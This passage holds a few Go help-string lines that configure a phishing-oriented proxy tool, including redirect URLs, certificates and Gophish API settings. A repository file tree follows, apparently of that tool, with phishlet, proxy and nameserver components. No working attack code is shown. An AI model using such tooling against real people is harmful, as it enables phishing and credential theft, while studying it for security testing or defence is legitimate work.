	h.AddSubCommand("config", []string{"unauth_url"}, "unauth_url <url>", "change the url where all unauthorized requests will be redirected to")
	h.AddSubCommand("config", []string{"autocert"}, "autocert <on|off>", "enable or disable the automated certificate retrieval from letsencrypt")
	h.AddSubCommand("config", []string{"gophish", "admin_url"}, "gophish admin_url <url>", "set up the admin url of a gophish instance to communicate with (e.g. https://gophish.domain.com:7777)")
	h.AddSubCommand("config", []string{"gophish", "api_key"}, "gophish api_key <key>", "set up the api key for the gophish instance to communicate with")
	h.AddSubCommand("config", []string{"gophish", "insecure"}, "gophish insecure <true|false>", "enable or disable the verification of gophish tls certificate (set to `true` if using self-signed certificate)")
	h.AddSubCommand("config", []string{"gophish"
Download .txt
gitextract_rj532f0j/

├── .dockerignore
├── .github/
│   └── FUNDING.yml
├── .gitignore
├── .travis.yml
├── CHANGELOG
├── ISSUE_TEMPLATE.md
├── LICENSE
├── Makefile
├── README.md
├── build.bat
├── build_run.bat
├── core/
│   ├── banner.go
│   ├── blacklist.go
│   ├── certdb.go
│   ├── config.go
│   ├── gophish.go
│   ├── help.go
│   ├── http_proxy.go
│   ├── http_server.go
│   ├── nameserver.go
│   ├── phishlet.go
│   ├── scripts.go
│   ├── session.go
│   ├── shared.go
│   ├── table.go
│   ├── terminal.go
│   └── utils.go
├── database/
│   ├── database.go
│   └── db_session.go
├── go.mod
├── go.sum
├── log/
│   └── log.go
├── main.go
├── parser/
│   └── parser.go
├── redirectors/
│   ├── download_example/
│   │   └── index.html
│   └── turnstile/
│       └── index.html
└── vendor/
    ├── github.com/
    │   ├── caddyserver/
    │   │   └── certmagic/
    │   │       ├── .gitignore
    │   │       ├── LICENSE.txt
    │   │       ├── README.md
    │   │       ├── account.go
    │   │       ├── acmeclient.go
    │   │       ├── acmeissuer.go
    │   │       ├── async.go
    │   │       ├── cache.go
    │   │       ├── certificates.go
    │   │       ├── certmagic.go
    │   │       ├── config.go
    │   │       ├── crypto.go
    │   │       ├── dnsutil.go
    │   │       ├── filestorage.go
    │   │       ├── handshake.go
    │   │       ├── httphandler.go
    │   │       ├── maintain.go
    │   │       ├── ocsp.go
    │   │       ├── ratelimiter.go
    │   │       ├── solvers.go
    │   │       └── storage.go
    │   ├── cenkalti/
    │   │   └── backoff/
    │   │       └── v3/
    │   │           ├── .gitignore
    │   │           ├── .travis.yml
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── backoff.go
    │   │           ├── context.go
    │   │           ├── exponential.go
    │   │           ├── retry.go
    │   │           ├── ticker.go
    │   │           └── tries.go
    │   ├── chzyer/
    │   │   └── readline/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── ansi_windows.go
    │   │       ├── complete.go
    │   │       ├── complete_helper.go
    │   │       ├── complete_segment.go
    │   │       ├── history.go
    │   │       ├── operation.go
    │   │       ├── password.go
    │   │       ├── rawreader_windows.go
    │   │       ├── readline.go
    │   │       ├── remote.go
    │   │       ├── runebuf.go
    │   │       ├── runes.go
    │   │       ├── search.go
    │   │       ├── std.go
    │   │       ├── std_windows.go
    │   │       ├── term.go
    │   │       ├── term_bsd.go
    │   │       ├── term_linux.go
    │   │       ├── term_solaris.go
    │   │       ├── term_unix.go
    │   │       ├── term_windows.go
    │   │       ├── terminal.go
    │   │       ├── utils.go
    │   │       ├── utils_unix.go
    │   │       ├── utils_windows.go
    │   │       ├── vim.go
    │   │       └── windows_api.go
    │   ├── elazarl/
    │   │   └── goproxy/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── actions.go
    │   │       ├── all.bash
    │   │       ├── ca.pem
    │   │       ├── certs.go
    │   │       ├── chunked.go
    │   │       ├── counterecryptor.go
    │   │       ├── ctx.go
    │   │       ├── dispatcher.go
    │   │       ├── doc.go
    │   │       ├── https.go
    │   │       ├── key.pem
    │   │       ├── logger.go
    │   │       ├── proxy.go
    │   │       ├── responses.go
    │   │       ├── signer.go
    │   │       └── websocket.go
    │   ├── fatih/
    │   │   └── color/
    │   │       ├── LICENSE.md
    │   │       ├── README.md
    │   │       ├── color.go
    │   │       └── doc.go
    │   ├── fsnotify/
    │   │   └── fsnotify/
    │   │       ├── .editorconfig
    │   │       ├── .gitattributes
    │   │       ├── .gitignore
    │   │       ├── .mailmap
    │   │       ├── AUTHORS
    │   │       ├── CHANGELOG.md
    │   │       ├── CONTRIBUTING.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── fen.go
    │   │       ├── fsnotify.go
    │   │       ├── inotify.go
    │   │       ├── inotify_poller.go
    │   │       ├── kqueue.go
    │   │       ├── open_mode_bsd.go
    │   │       ├── open_mode_darwin.go
    │   │       └── windows.go
    │   ├── go-acme/
    │   │   └── lego/
    │   │       └── v3/
    │   │           ├── LICENSE
    │   │           ├── acme/
    │   │           │   ├── api/
    │   │           │   │   ├── account.go
    │   │           │   │   ├── api.go
    │   │           │   │   ├── authorization.go
    │   │           │   │   ├── certificate.go
    │   │           │   │   ├── challenge.go
    │   │           │   │   ├── internal/
    │   │           │   │   │   ├── nonces/
    │   │           │   │   │   │   └── nonce_manager.go
    │   │           │   │   │   ├── secure/
    │   │           │   │   │   │   └── jws.go
    │   │           │   │   │   └── sender/
    │   │           │   │   │       ├── sender.go
    │   │           │   │   │       └── useragent.go
    │   │           │   │   ├── order.go
    │   │           │   │   └── service.go
    │   │           │   ├── commons.go
    │   │           │   └── errors.go
    │   │           ├── certcrypto/
    │   │           │   └── crypto.go
    │   │           ├── challenge/
    │   │           │   ├── challenges.go
    │   │           │   ├── provider.go
    │   │           │   └── tlsalpn01/
    │   │           │       ├── tls_alpn_challenge.go
    │   │           │       └── tls_alpn_challenge_server.go
    │   │           └── log/
    │   │               └── logger.go
    │   ├── go-resty/
    │   │   └── resty/
    │   │       └── v2/
    │   │           ├── .gitignore
    │   │           ├── BUILD.bazel
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── WORKSPACE
    │   │           ├── client.go
    │   │           ├── digest.go
    │   │           ├── middleware.go
    │   │           ├── redirect.go
    │   │           ├── request.go
    │   │           ├── response.go
    │   │           ├── resty.go
    │   │           ├── retry.go
    │   │           ├── trace.go
    │   │           ├── transport.go
    │   │           ├── transport112.go
    │   │           ├── transport_js.go
    │   │           ├── transport_other.go
    │   │           └── util.go
    │   ├── gorilla/
    │   │   └── mux/
    │   │       ├── AUTHORS
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── context.go
    │   │       ├── doc.go
    │   │       ├── middleware.go
    │   │       ├── mux.go
    │   │       ├── regexp.go
    │   │       ├── route.go
    │   │       └── test_helpers.go
    │   ├── hashicorp/
    │   │   └── hcl/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── README.md
    │   │       ├── appveyor.yml
    │   │       ├── decoder.go
    │   │       ├── hcl/
    │   │       │   ├── ast/
    │   │       │   │   ├── ast.go
    │   │       │   │   └── walk.go
    │   │       │   ├── parser/
    │   │       │   │   ├── error.go
    │   │       │   │   └── parser.go
    │   │       │   ├── printer/
    │   │       │   │   ├── nodes.go
    │   │       │   │   └── printer.go
    │   │       │   ├── scanner/
    │   │       │   │   └── scanner.go
    │   │       │   ├── strconv/
    │   │       │   │   └── quote.go
    │   │       │   └── token/
    │   │       │       ├── position.go
    │   │       │       └── token.go
    │   │       ├── hcl.go
    │   │       ├── json/
    │   │       │   ├── parser/
    │   │       │   │   ├── flatten.go
    │   │       │   │   └── parser.go
    │   │       │   ├── scanner/
    │   │       │   │   └── scanner.go
    │   │       │   └── token/
    │   │       │       ├── position.go
    │   │       │       └── token.go
    │   │       ├── lex.go
    │   │       └── parse.go
    │   ├── inconshreveable/
    │   │   └── go-vhost/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── http.go
    │   │       ├── interface.go
    │   │       ├── mux.go
    │   │       ├── shared.go
    │   │       └── tls.go
    │   ├── klauspost/
    │   │   └── cpuid/
    │   │       └── v2/
    │   │           ├── .gitignore
    │   │           ├── .goreleaser.yml
    │   │           ├── CONTRIBUTING.txt
    │   │           ├── LICENSE
    │   │           ├── README.md
    │   │           ├── cpuid.go
    │   │           ├── cpuid_386.s
    │   │           ├── cpuid_amd64.s
    │   │           ├── cpuid_arm64.s
    │   │           ├── detect_arm64.go
    │   │           ├── detect_ref.go
    │   │           ├── detect_x86.go
    │   │           ├── featureid_string.go
    │   │           ├── os_darwin_arm64.go
    │   │           ├── os_linux_arm64.go
    │   │           ├── os_other_arm64.go
    │   │           ├── os_safe_linux_arm64.go
    │   │           ├── os_unsafe_linux_arm64.go
    │   │           └── test-architectures.sh
    │   ├── libdns/
    │   │   └── libdns/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       └── libdns.go
    │   ├── magiconair/
    │   │   └── properties/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE.md
    │   │       ├── README.md
    │   │       ├── decode.go
    │   │       ├── doc.go
    │   │       ├── integrate.go
    │   │       ├── lex.go
    │   │       ├── load.go
    │   │       ├── parser.go
    │   │       ├── properties.go
    │   │       └── rangecheck.go
    │   ├── mattn/
    │   │   ├── go-colorable/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── colorable_appengine.go
    │   │   │   ├── colorable_others.go
    │   │   │   ├── colorable_windows.go
    │   │   │   ├── go.test.sh
    │   │   │   └── noncolorable.go
    │   │   └── go-isatty/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── doc.go
    │   │       ├── go.test.sh
    │   │       ├── isatty_bsd.go
    │   │       ├── isatty_others.go
    │   │       ├── isatty_plan9.go
    │   │       ├── isatty_solaris.go
    │   │       ├── isatty_tcgets.go
    │   │       └── isatty_windows.go
    │   ├── mholt/
    │   │   └── acmez/
    │   │       ├── .gitignore
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── THIRD-PARTY
    │   │       ├── acme/
    │   │       │   ├── account.go
    │   │       │   ├── ari.go
    │   │       │   ├── authorization.go
    │   │       │   ├── certificate.go
    │   │       │   ├── challenge.go
    │   │       │   ├── client.go
    │   │       │   ├── http.go
    │   │       │   ├── jws.go
    │   │       │   ├── order.go
    │   │       │   └── problem.go
    │   │       ├── client.go
    │   │       ├── csr.go
    │   │       ├── solver.go
    │   │       └── tlsalpn01.go
    │   ├── miekg/
    │   │   └── dns/
    │   │       ├── .codecov.yml
    │   │       ├── .gitignore
    │   │       ├── AUTHORS
    │   │       ├── CODEOWNERS
    │   │       ├── CONTRIBUTORS
    │   │       ├── COPYRIGHT
    │   │       ├── LICENSE
    │   │       ├── Makefile.fuzz
    │   │       ├── Makefile.release
    │   │       ├── README.md
    │   │       ├── acceptfunc.go
    │   │       ├── client.go
    │   │       ├── clientconfig.go
    │   │       ├── dane.go
    │   │       ├── defaults.go
    │   │       ├── dns.go
    │   │       ├── dnssec.go
    │   │       ├── dnssec_keygen.go
    │   │       ├── dnssec_keyscan.go
    │   │       ├── dnssec_privkey.go
    │   │       ├── doc.go
    │   │       ├── duplicate.go
    │   │       ├── edns.go
    │   │       ├── format.go
    │   │       ├── fuzz.go
    │   │       ├── generate.go
    │   │       ├── hash.go
    │   │       ├── labels.go
    │   │       ├── listen_no_reuseport.go
    │   │       ├── listen_reuseport.go
    │   │       ├── msg.go
    │   │       ├── msg_helpers.go
    │   │       ├── msg_truncate.go
    │   │       ├── nsecx.go
    │   │       ├── privaterr.go
    │   │       ├── reverse.go
    │   │       ├── sanitize.go
    │   │       ├── scan.go
    │   │       ├── scan_rr.go
    │   │       ├── serve_mux.go
    │   │       ├── server.go
    │   │       ├── sig0.go
    │   │       ├── smimea.go
    │   │       ├── svcb.go
    │   │       ├── tlsa.go
    │   │       ├── tools.go
    │   │       ├── tsig.go
    │   │       ├── types.go
    │   │       ├── udp.go
    │   │       ├── udp_windows.go
    │   │       ├── update.go
    │   │       ├── version.go
    │   │       ├── xfr.go
    │   │       ├── zduplicate.go
    │   │       ├── zmsg.go
    │   │       └── ztypes.go
    │   ├── mitchellh/
    │   │   └── mapstructure/
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── decode_hooks.go
    │   │       ├── error.go
    │   │       └── mapstructure.go
    │   ├── mwitkow/
    │   │   └── go-http-dialer/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── auth.go
    │   │       └── dialer.go
    │   ├── pelletier/
    │   │   └── go-toml/
    │   │       ├── .dockerignore
    │   │       ├── .gitignore
    │   │       ├── CONTRIBUTING.md
    │   │       ├── Dockerfile
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── PULL_REQUEST_TEMPLATE.md
    │   │       ├── README.md
    │   │       ├── azure-pipelines.yml
    │   │       ├── benchmark.sh
    │   │       ├── doc.go
    │   │       ├── example-crlf.toml
    │   │       ├── example.toml
    │   │       ├── fuzz.go
    │   │       ├── fuzz.sh
    │   │       ├── keysparsing.go
    │   │       ├── lexer.go
    │   │       ├── localtime.go
    │   │       ├── marshal.go
    │   │       ├── marshal_OrderPreserve_test.toml
    │   │       ├── marshal_test.toml
    │   │       ├── parser.go
    │   │       ├── position.go
    │   │       ├── token.go
    │   │       ├── toml.go
    │   │       ├── tomlpub.go
    │   │       ├── tomltree_create.go
    │   │       ├── tomltree_write.go
    │   │       └── tomltree_writepub.go
    │   ├── spf13/
    │   │   ├── afero/
    │   │   │   ├── .gitignore
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE.txt
    │   │   │   ├── README.md
    │   │   │   ├── afero.go
    │   │   │   ├── appveyor.yml
    │   │   │   ├── basepath.go
    │   │   │   ├── cacheOnReadFs.go
    │   │   │   ├── const_bsds.go
    │   │   │   ├── const_win_unix.go
    │   │   │   ├── copyOnWriteFs.go
    │   │   │   ├── httpFs.go
    │   │   │   ├── iofs.go
    │   │   │   ├── ioutil.go
    │   │   │   ├── lstater.go
    │   │   │   ├── match.go
    │   │   │   ├── mem/
    │   │   │   │   ├── dir.go
    │   │   │   │   ├── dirmap.go
    │   │   │   │   └── file.go
    │   │   │   ├── memmap.go
    │   │   │   ├── os.go
    │   │   │   ├── path.go
    │   │   │   ├── readonlyfs.go
    │   │   │   ├── regexpfs.go
    │   │   │   ├── symlink.go
    │   │   │   ├── unionFile.go
    │   │   │   └── util.go
    │   │   ├── cast/
    │   │   │   ├── .gitignore
    │   │   │   ├── LICENSE
    │   │   │   ├── Makefile
    │   │   │   ├── README.md
    │   │   │   ├── cast.go
    │   │   │   ├── caste.go
    │   │   │   └── timeformattype_string.go
    │   │   ├── jwalterweatherman/
    │   │   │   ├── .gitignore
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── default_notepad.go
    │   │   │   ├── log_counter.go
    │   │   │   └── notepad.go
    │   │   └── pflag/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── bool.go
    │   │       ├── bool_slice.go
    │   │       ├── bytes.go
    │   │       ├── count.go
    │   │       ├── duration.go
    │   │       ├── duration_slice.go
    │   │       ├── flag.go
    │   │       ├── float32.go
    │   │       ├── float32_slice.go
    │   │       ├── float64.go
    │   │       ├── float64_slice.go
    │   │       ├── golangflag.go
    │   │       ├── int.go
    │   │       ├── int16.go
    │   │       ├── int32.go
    │   │       ├── int32_slice.go
    │   │       ├── int64.go
    │   │       ├── int64_slice.go
    │   │       ├── int8.go
    │   │       ├── int_slice.go
    │   │       ├── ip.go
    │   │       ├── ip_slice.go
    │   │       ├── ipmask.go
    │   │       ├── ipnet.go
    │   │       ├── string.go
    │   │       ├── string_array.go
    │   │       ├── string_slice.go
    │   │       ├── string_to_int.go
    │   │       ├── string_to_int64.go
    │   │       ├── string_to_string.go
    │   │       ├── uint.go
    │   │       ├── uint16.go
    │   │       ├── uint32.go
    │   │       ├── uint64.go
    │   │       ├── uint8.go
    │   │       └── uint_slice.go
    │   ├── subosito/
    │   │   └── gotenv/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── appveyor.yml
    │   │       └── gotenv.go
    │   ├── tidwall/
    │   │   ├── btree/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── btree.go
    │   │   ├── buntdb/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── buntdb.go
    │   │   ├── gjson/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── SYNTAX.md
    │   │   │   └── gjson.go
    │   │   ├── grect/
    │   │   │   ├── LICENSE.md
    │   │   │   ├── README.md
    │   │   │   └── grect.go
    │   │   ├── match/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── match.go
    │   │   ├── pretty/
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   └── pretty.go
    │   │   ├── rtree/
    │   │   │   ├── .travis.yml
    │   │   │   ├── LICENSE
    │   │   │   ├── README.md
    │   │   │   ├── base/
    │   │   │   │   ├── knn.go
    │   │   │   │   ├── load.go
    │   │   │   │   └── rtree.go
    │   │   │   └── rtree.go
    │   │   └── tinyqueue/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       └── tinyqueue.go
    │   └── zeebo/
    │       └── blake3/
    │           ├── .gitignore
    │           ├── LICENSE
    │           ├── Makefile
    │           ├── README.md
    │           ├── api.go
    │           ├── blake3.go
    │           ├── digest.go
    │           └── internal/
    │               ├── alg/
    │               │   ├── alg.go
    │               │   ├── compress/
    │               │   │   ├── compress.go
    │               │   │   ├── compress_pure/
    │               │   │   │   └── compress.go
    │               │   │   └── compress_sse41/
    │               │   │       ├── impl_amd64.s
    │               │   │       ├── impl_other.go
    │               │   │       └── stubs.go
    │               │   └── hash/
    │               │       ├── hash.go
    │               │       ├── hash_avx2/
    │               │       │   ├── impl_amd64.s
    │               │       │   ├── impl_other.go
    │               │       │   └── stubs.go
    │               │       └── hash_pure/
    │               │           ├── hashf.go
    │               │           └── hashp.go
    │               ├── consts/
    │               │   ├── consts.go
    │               │   ├── cpu.go
    │               │   ├── cpu_little.go
    │               │   └── cpu_other.go
    │               └── utils/
    │                   └── utils.go
    ├── golang.org/
    │   └── x/
    │       ├── crypto/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── cryptobyte/
    │       │   │   ├── asn1/
    │       │   │   │   └── asn1.go
    │       │   │   ├── asn1.go
    │       │   │   ├── builder.go
    │       │   │   └── string.go
    │       │   ├── ed25519/
    │       │   │   └── ed25519.go
    │       │   ├── ocsp/
    │       │   │   └── ocsp.go
    │       │   └── pbkdf2/
    │       │       └── pbkdf2.go
    │       ├── mod/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   └── semver/
    │       │       └── semver.go
    │       ├── net/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── bpf/
    │       │   │   ├── asm.go
    │       │   │   ├── constants.go
    │       │   │   ├── doc.go
    │       │   │   ├── instructions.go
    │       │   │   ├── setter.go
    │       │   │   ├── vm.go
    │       │   │   └── vm_instructions.go
    │       │   ├── idna/
    │       │   │   ├── go118.go
    │       │   │   ├── idna10.0.0.go
    │       │   │   ├── idna9.0.0.go
    │       │   │   ├── pre_go118.go
    │       │   │   ├── punycode.go
    │       │   │   ├── tables10.0.0.go
    │       │   │   ├── tables11.0.0.go
    │       │   │   ├── tables12.0.0.go
    │       │   │   ├── tables13.0.0.go
    │       │   │   ├── tables15.0.0.go
    │       │   │   ├── tables9.0.0.go
    │       │   │   ├── trie.go
    │       │   │   ├── trie12.0.0.go
    │       │   │   ├── trie13.0.0.go
    │       │   │   └── trieval.go
    │       │   ├── internal/
    │       │   │   ├── iana/
    │       │   │   │   └── const.go
    │       │   │   ├── socket/
    │       │   │   │   ├── cmsghdr.go
    │       │   │   │   ├── cmsghdr_bsd.go
    │       │   │   │   ├── cmsghdr_linux_32bit.go
    │       │   │   │   ├── cmsghdr_linux_64bit.go
    │       │   │   │   ├── cmsghdr_solaris_64bit.go
    │       │   │   │   ├── cmsghdr_stub.go
    │       │   │   │   ├── cmsghdr_unix.go
    │       │   │   │   ├── cmsghdr_zos_s390x.go
    │       │   │   │   ├── complete_dontwait.go
    │       │   │   │   ├── complete_nodontwait.go
    │       │   │   │   ├── empty.s
    │       │   │   │   ├── error_unix.go
    │       │   │   │   ├── error_windows.go
    │       │   │   │   ├── iovec_32bit.go
    │       │   │   │   ├── iovec_64bit.go
    │       │   │   │   ├── iovec_solaris_64bit.go
    │       │   │   │   ├── iovec_stub.go
    │       │   │   │   ├── mmsghdr_stub.go
    │       │   │   │   ├── mmsghdr_unix.go
    │       │   │   │   ├── msghdr_bsd.go
    │       │   │   │   ├── msghdr_bsdvar.go
    │       │   │   │   ├── msghdr_linux.go
    │       │   │   │   ├── msghdr_linux_32bit.go
    │       │   │   │   ├── msghdr_linux_64bit.go
    │       │   │   │   ├── msghdr_openbsd.go
    │       │   │   │   ├── msghdr_solaris_64bit.go
    │       │   │   │   ├── msghdr_stub.go
    │       │   │   │   ├── msghdr_zos_s390x.go
    │       │   │   │   ├── norace.go
    │       │   │   │   ├── race.go
    │       │   │   │   ├── rawconn.go
    │       │   │   │   ├── rawconn_mmsg.go
    │       │   │   │   ├── rawconn_msg.go
    │       │   │   │   ├── rawconn_nommsg.go
    │       │   │   │   ├── rawconn_nomsg.go
    │       │   │   │   ├── socket.go
    │       │   │   │   ├── sys.go
    │       │   │   │   ├── sys_bsd.go
    │       │   │   │   ├── sys_const_unix.go
    │       │   │   │   ├── sys_linux.go
    │       │   │   │   ├── sys_linux_386.go
    │       │   │   │   ├── sys_linux_386.s
    │       │   │   │   ├── sys_linux_amd64.go
    │       │   │   │   ├── sys_linux_arm.go
    │       │   │   │   ├── sys_linux_arm64.go
    │       │   │   │   ├── sys_linux_loong64.go
    │       │   │   │   ├── sys_linux_mips.go
    │       │   │   │   ├── sys_linux_mips64.go
    │       │   │   │   ├── sys_linux_mips64le.go
    │       │   │   │   ├── sys_linux_mipsle.go
    │       │   │   │   ├── sys_linux_ppc.go
    │       │   │   │   ├── sys_linux_ppc64.go
    │       │   │   │   ├── sys_linux_ppc64le.go
    │       │   │   │   ├── sys_linux_riscv64.go
    │       │   │   │   ├── sys_linux_s390x.go
    │       │   │   │   ├── sys_linux_s390x.s
    │       │   │   │   ├── sys_netbsd.go
    │       │   │   │   ├── sys_posix.go
    │       │   │   │   ├── sys_stub.go
    │       │   │   │   ├── sys_unix.go
    │       │   │   │   ├── sys_windows.go
    │       │   │   │   ├── sys_zos_s390x.go
    │       │   │   │   ├── sys_zos_s390x.s
    │       │   │   │   ├── zsys_aix_ppc64.go
    │       │   │   │   ├── zsys_darwin_amd64.go
    │       │   │   │   ├── zsys_darwin_arm64.go
    │       │   │   │   ├── zsys_dragonfly_amd64.go
    │       │   │   │   ├── zsys_freebsd_386.go
    │       │   │   │   ├── zsys_freebsd_amd64.go
    │       │   │   │   ├── zsys_freebsd_arm.go
    │       │   │   │   ├── zsys_freebsd_arm64.go
    │       │   │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   │   ├── zsys_linux_386.go
    │       │   │   │   ├── zsys_linux_amd64.go
    │       │   │   │   ├── zsys_linux_arm.go
    │       │   │   │   ├── zsys_linux_arm64.go
    │       │   │   │   ├── zsys_linux_loong64.go
    │       │   │   │   ├── zsys_linux_mips.go
    │       │   │   │   ├── zsys_linux_mips64.go
    │       │   │   │   ├── zsys_linux_mips64le.go
    │       │   │   │   ├── zsys_linux_mipsle.go
    │       │   │   │   ├── zsys_linux_ppc.go
    │       │   │   │   ├── zsys_linux_ppc64.go
    │       │   │   │   ├── zsys_linux_ppc64le.go
    │       │   │   │   ├── zsys_linux_riscv64.go
    │       │   │   │   ├── zsys_linux_s390x.go
    │       │   │   │   ├── zsys_netbsd_386.go
    │       │   │   │   ├── zsys_netbsd_amd64.go
    │       │   │   │   ├── zsys_netbsd_arm.go
    │       │   │   │   ├── zsys_netbsd_arm64.go
    │       │   │   │   ├── zsys_openbsd_386.go
    │       │   │   │   ├── zsys_openbsd_amd64.go
    │       │   │   │   ├── zsys_openbsd_arm.go
    │       │   │   │   ├── zsys_openbsd_arm64.go
    │       │   │   │   ├── zsys_openbsd_mips64.go
    │       │   │   │   ├── zsys_openbsd_ppc64.go
    │       │   │   │   ├── zsys_openbsd_riscv64.go
    │       │   │   │   ├── zsys_solaris_amd64.go
    │       │   │   │   └── zsys_zos_s390x.go
    │       │   │   └── socks/
    │       │   │       ├── client.go
    │       │   │       └── socks.go
    │       │   ├── ipv4/
    │       │   │   ├── batch.go
    │       │   │   ├── control.go
    │       │   │   ├── control_bsd.go
    │       │   │   ├── control_pktinfo.go
    │       │   │   ├── control_stub.go
    │       │   │   ├── control_unix.go
    │       │   │   ├── control_windows.go
    │       │   │   ├── control_zos.go
    │       │   │   ├── dgramopt.go
    │       │   │   ├── doc.go
    │       │   │   ├── endpoint.go
    │       │   │   ├── genericopt.go
    │       │   │   ├── header.go
    │       │   │   ├── helper.go
    │       │   │   ├── iana.go
    │       │   │   ├── icmp.go
    │       │   │   ├── icmp_linux.go
    │       │   │   ├── icmp_stub.go
    │       │   │   ├── packet.go
    │       │   │   ├── payload.go
    │       │   │   ├── payload_cmsg.go
    │       │   │   ├── payload_nocmsg.go
    │       │   │   ├── sockopt.go
    │       │   │   ├── sockopt_posix.go
    │       │   │   ├── sockopt_stub.go
    │       │   │   ├── sys_aix.go
    │       │   │   ├── sys_asmreq.go
    │       │   │   ├── sys_asmreq_stub.go
    │       │   │   ├── sys_asmreqn.go
    │       │   │   ├── sys_asmreqn_stub.go
    │       │   │   ├── sys_bpf.go
    │       │   │   ├── sys_bpf_stub.go
    │       │   │   ├── sys_bsd.go
    │       │   │   ├── sys_darwin.go
    │       │   │   ├── sys_dragonfly.go
    │       │   │   ├── sys_freebsd.go
    │       │   │   ├── sys_linux.go
    │       │   │   ├── sys_solaris.go
    │       │   │   ├── sys_ssmreq.go
    │       │   │   ├── sys_ssmreq_stub.go
    │       │   │   ├── sys_stub.go
    │       │   │   ├── sys_windows.go
    │       │   │   ├── sys_zos.go
    │       │   │   ├── zsys_aix_ppc64.go
    │       │   │   ├── zsys_darwin.go
    │       │   │   ├── zsys_dragonfly.go
    │       │   │   ├── zsys_freebsd_386.go
    │       │   │   ├── zsys_freebsd_amd64.go
    │       │   │   ├── zsys_freebsd_arm.go
    │       │   │   ├── zsys_freebsd_arm64.go
    │       │   │   ├── zsys_freebsd_riscv64.go
    │       │   │   ├── zsys_linux_386.go
    │       │   │   ├── zsys_linux_amd64.go
    │       │   │   ├── zsys_linux_arm.go
    │       │   │   ├── zsys_linux_arm64.go
    │       │   │   ├── zsys_linux_loong64.go
    │       │   │   ├── zsys_linux_mips.go
    │       │   │   ├── zsys_linux_mips64.go
    │       │   │   ├── zsys_linux_mips64le.go
    │       │   │   ├── zsys_linux_mipsle.go
    │       │   │   ├── zsys_linux_ppc.go
    │       │   │   ├── zsys_linux_ppc64.go
    │       │   │   ├── zsys_linux_ppc64le.go
    │       │   │   ├── zsys_linux_riscv64.go
    │       │   │   ├── zsys_linux_s390x.go
    │       │   │   ├── zsys_netbsd.go
    │       │   │   ├── zsys_openbsd.go
    │       │   │   ├── zsys_solaris.go
    │       │   │   └── zsys_zos_s390x.go
    │       │   ├── ipv6/
    │       │   │   ├── batch.go
    │       │   │   ├── control.go
    │       │   │   ├── control_rfc2292_unix.go
    │       │   │   ├── control_rfc3542_unix.go
    │       │   │   ├── control_stub.go
    │       │   │   ├── control_unix.go
    │       │   │   ├── control_windows.go
    │       │   │   ├── dgramopt.go
    │       │   │   ├── doc.go
    │       │   │   ├── endpoint.go
    │       │   │   ├── genericopt.go
    │       │   │   ├── header.go
    │       │   │   ├── helper.go
    │       │   │   ├── iana.go
    │       │   │   ├── icmp.go
    │       │   │   ├── icmp_bsd.go
    │       │   │   ├── icmp_linux.go
    │       │   │   ├── icmp_solaris.go
    │       │   │   ├── icmp_stub.go
    │       │   │   ├── icmp_windows.go
    │       │   │   ├── icmp_zos.go
    │       │   │   ├── payload.go
    │       │   │   ├── payload_cmsg.go
    │       │   │   ├── payload_nocmsg.go
    │       │   │   ├── sockopt.go
    │       │   │   ├── sockopt_posix.go
    │       │   │   ├── sockopt_stub.go
    │       │   │   ├── sys_aix.go
    │       │   │   ├── sys_asmreq.go
    │       │   │   ├── sys_asmreq_stub.go
    │       │   │   ├── sys_bpf.go
    │       │   │   ├── sys_bpf_stub.go
    │       │   │   ├── sys_bsd.go
    │       │   │   ├── sys_darwin.go
    │       │   │   ├── sys_freebsd.go
    │       │   │   ├── sys_linux.go
    │       │   │   ├── sys_solaris.go
    │       │   │   ├── sys_ssmreq.go
    │       │   │   ├── sys_ssmreq_stub.go
    │       │   │   ├── sys_stub.go
    │       │   │   ├── sys_windows.go
    │       │   │   ├── sys_zos.go
    │       │   │   ├── zsys_aix_ppc64.go
    │       │   │   ├── zsys_darwin.go
    │       │   │   ├── zsys_dragonfly.go
    │       │   │   ├── zsys_freebsd_386.go
    │       │   │   ├── zsys_freebsd_amd64.go
    │       │   │   ├── zsys_freebsd_arm.go
    │       │   │   ├── zsys_freebsd_arm64.go
